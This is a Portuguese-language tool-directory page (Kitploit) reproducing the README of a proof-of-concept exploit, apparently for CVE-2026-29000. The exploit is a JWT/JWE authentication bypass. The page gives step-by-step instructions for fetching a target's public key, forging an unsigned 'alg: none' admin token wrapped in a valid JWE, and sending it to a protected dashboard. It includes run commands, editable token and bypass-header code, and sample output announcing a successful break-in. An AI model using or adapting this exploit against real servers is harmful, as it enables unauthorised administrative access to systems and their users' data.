Skip to content
KitploitKITPLOIT
FerramentasBlog
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
CVE-2026-29000 — PoC do CVE-2026-29000 | Kitploit
Ferramentas/GitHubGitHub/zf-tm/cve-2026-29000
Autenticação e AutorizaçãoFerramentas de Criptografia/DescriptografiaAnálise de VulnerabilidadesExploraçãoExploração de Aplicações WebTestes de Penetração
GitHubzf-tm/cve-2026-29000

CVE-2026-29000

PoC do CVE-2026-29000

Ver Repositório
1há 3 mesesAinda não revisado

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar

PoC de Bypass de Autenticação JWT/JWE

Um script de prova de conceito (PoC) que demonstra uma vulnerabilidade de bypass de autenticação usando JSON Web Tokens (JWT) e JSON Web Encryption (JWE). Esta ferramenta explora ambientes que validam incorretamente os algoritmos de token ao aceitar JWTs não verificados (alg: none) encapsulados em uma estrutura JWE válida.

Como Funciona

Esta cadeia de exploit aproveita uma falha comum de implementação criptográfica:

  1. Extração de Chave: O script acessa o endpoint jwks (JSON Web Key Set) publicamente exposto do alvo e baixa a chave pública RSA do servidor.
  2. Falsificação de Token: Ele cria um payload JWT falso e não verificado que concede privilégios de ROLE_ADMIN. Ele define intencionalmente o cabeçalho do algoritmo como "alg": "none".
  3. Empacotamento JWE: Para contornar filtros de segurança iniciais que podem rejeitar tokens sem formatação ou não verificados, ele criptografa o JWT falso usando a própria chave pública do servidor, empacotando-o em um JWE válido.
  4. Autenticação: O JWE forjado é enviado ao painel protegido do alvo por meio do cabeçalho Authorization: Bearer. Se o servidor descriptografar o JWE e confiar cegamente no JWT interno sem verificar sua assinatura, o acesso é concedido.

Pré-requisitos

Antes de executar o script, certifique-se de ter o Python 3 instalado juntamente com as dependências necessárias.

root@kitploit:~
pip install requests jwcrypto

Uso

O script requer dois argumentos: a URL do painel do alvo que você deseja testar e a URL onde as chaves públicas estão hospedadas.

root@kitploit:~
python3 exploit.py <TARGET_URL_OF_PROTECTED_ENDPOINT> <JWKS_ENDPOINT_URL>

Personalizando o Exploit

Dependendo do seu alvo, talvez seja necessário ajustar a estrutura do token ou as requisições HTTP para contornar filtros específicos.

  1. Personalizando os Cabeçalhos e o Payload do JWT Interno

Se o servidor alvo esperar campos específicos dentro do próprio JWT (como um cabeçalho typ, ou IDs de usuário personalizados no payload), você pode adicioná-los facilmente.

Abra o exploit.py e localize esta seção:

root@kitploit:~
token_header_information = {
    "alg": "none"
}
root@kitploit:~
token_user_information = {
    "sub": "admin",
    "role": "ROLE_ADMIN",
    "iss": "principal-platform",
    "iat": current_time_in_seconds,
    "exp": expiration_time_in_seconds
}

Você pode adicionar qualquer campo que quiser, separado por vírgulas. Por exemplo, para adicionar um typ (Tipo) e um kid (ID da Chave) ao cabeçalho do JWT, e um e-mail personalizado ao payload:

root@kitploit:~
token_header_information = {
    "alg": "none",
    "typ": "JWT",
    "kid": "my-custom-key-id"
}
root@kitploit:~
token_user_information = {
    "sub": "admin",
    "email": "[email protected]",
    "role": "ROLE_ADMIN",
    "iss": "principal-platform",
    "iat": current_time_in_seconds,
    "exp": expiration_time_in_seconds
}
  1. Personalizando Cabeçalhos HTTP

Se o seu alvo exigir cabeçalhos de rede específicos (como um User-Agent personalizado, cabeçalhos de bypass como X-Forwarded-For, ou chaves de API), localize a requisição de rede na parte inferior do script:

root@kitploit:~
custom_authorization_header = {
    "Authorization": "Bearer " + final_forged_token
}

Adicione seus cabeçalhos de rede extras desta forma:

root@kitploit:~
custom_authorization_header = {
    "Authorization": "Bearer " + final_forged_token,
    "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64)",
    "X-Forwarded-For": "127.0.0.1",
    "Accept": "application/json"
}

Nota: Se você também precisar que esses cabeçalhos sejam enviados durante o download inicial das chaves públicas, você pode passar esse mesmo dicionário para a chamada requests.get() no topo do script.

Saída Esperada

Quando bem-sucedido, o script exibirá o token forjado e a resposta analisada do endpoint restrito, comprovando o bypass:

root@kitploit:~
Starting process...
Connecting to download public keys from: https://target-site.com/api/auth/jwks
Success! Downloaded the key with ID: 12345-abcde
Creating a fake administrator identity card...
Encrypting our fake identity using the server's public key...
Successfully created the encrypted master token!

Here is your forged token:
eyJhbGciOiJSU0EtT0FFUC...

Attempting to break into the dashboard...
Sending our forged token to: https://target-site.com/api/dashboard

SUCCESS! We bypassed the security.
The server thinks we are:
Username: admin
Account Type: ROLE_ADMIN

Solução de Problemas

  • Erros HTTP 401/403: O servidor alvo está validando corretamente as assinaturas e rejeitando o payload alg: none. O exploit falhou porque o alvo é seguro.

  • Erros de Conexão: Certifique-se de que as URLs fornecidas incluam o esquema completo (http:// ou https://) e que o servidor alvo esteja atualmente acessível.

  • Erros de Dependência: Certifique-se de que o jwcrypto esteja instalado corretamente via pip.

Baixar ferramenta